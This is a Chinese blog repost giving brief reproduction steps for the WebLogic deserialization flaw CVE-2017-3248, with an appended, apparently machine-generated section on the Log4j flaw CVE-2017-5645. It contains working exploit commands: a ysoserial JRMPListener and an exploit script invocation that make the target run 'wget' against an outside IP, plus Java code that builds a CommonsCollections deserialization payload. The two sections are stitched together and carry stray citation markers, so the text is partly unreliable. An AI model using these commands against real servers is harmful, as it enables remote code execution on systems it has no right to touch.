CVE-2017-3248简单复现

本文介绍了如何通过特定的命令序列,在Windows主机上使用Java和在Linux虚拟机上使用Python来实现CVE-2017-3248漏洞的利用,展示了从设置环境到执行命令的全过程。

我是这样操作的
目标跟windows在一个段,linux是另一个段的,我的虚拟机

windows主机上

`java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "wget http://11.205.242.98/32.txt"

linux虚拟机上执行

python exploit-CVE-2017-3248-bobsecq.py -t 目标IP -p 7001 --jip 11.205.242.98 --jport 1099 --cmd "wget http://11.205.242.98/32.txt" --ysopath ysoserial.jar

1431916-20190917151345273-179272486.png

简单证明即可

转载于:https://www.cnblogs.com/mrhonest/p/11533997.html

### 复现 CVE-2017-5645 漏洞 为了复现 Apache Log4j 的反序列化命令执行漏洞 (CVE-2017-5645),需遵循一系列特定的操作流程来设置实验环境并验证该漏洞的存在。 #### 准备工作 进入指定的工作目录,以便于后续操作: ```bash cd /home/hbesljx/vulhub/log4j/CVE-2017-5645 ``` 此路径包含了用于模拟漏洞场景所需的一切资源[^2]。 #### 启动服务端程序 启动带有易受攻击配置的服务端应用。通常情况下,在`vulhub`项目中会提供Docker容器化的部署方式,通过运行如下命令可快速建立受影响的日志服务器实例: ```bash docker-compose up -d ``` 这一步骤将会拉取必要的镜像,并按照预设参数启动一个存在潜在风险的Log4j组件实例[^4]。 #### 构建恶意负载 构建能够触发漏洞的有效载荷(Payload)。由于这是一个反序列化漏洞,因此需要创建特殊格式的数据包发送给目标机器上的Log4j监听器。可以借助工具如ysoserial生成这样的payload: ```java public class Exploit { public static void main(String[] args) throws Exception{ String command = "touch /tmp/success"; // 测试命令 Object payload = new CommonsCollections1().getObject(command); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser")); oos.writeObject(payload); oos.close(); } } ``` 这段Java代码片段展示了如何使用Commons Collections库配合其他依赖项制造出能被执行任意系统的指令链路;这里仅作为示例给出创建`.ser`文件的方法。 #### 发送Payload至目标主机 利用网络协议(TCP/UDP)向已知开放的日志接收端口传输上述制作好的二进制数据流(`payload.ser`)。可以通过编写简单的客户端脚本来完成这项任务,或者直接采用netcat等常用工具实现通信过程中的消息传递功能。 一旦成功投递了精心设计过的输入,则预期会在远程系统上观察到由我们定义的动作效果——即证明了漏洞确实存在并且具有实际危害性。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值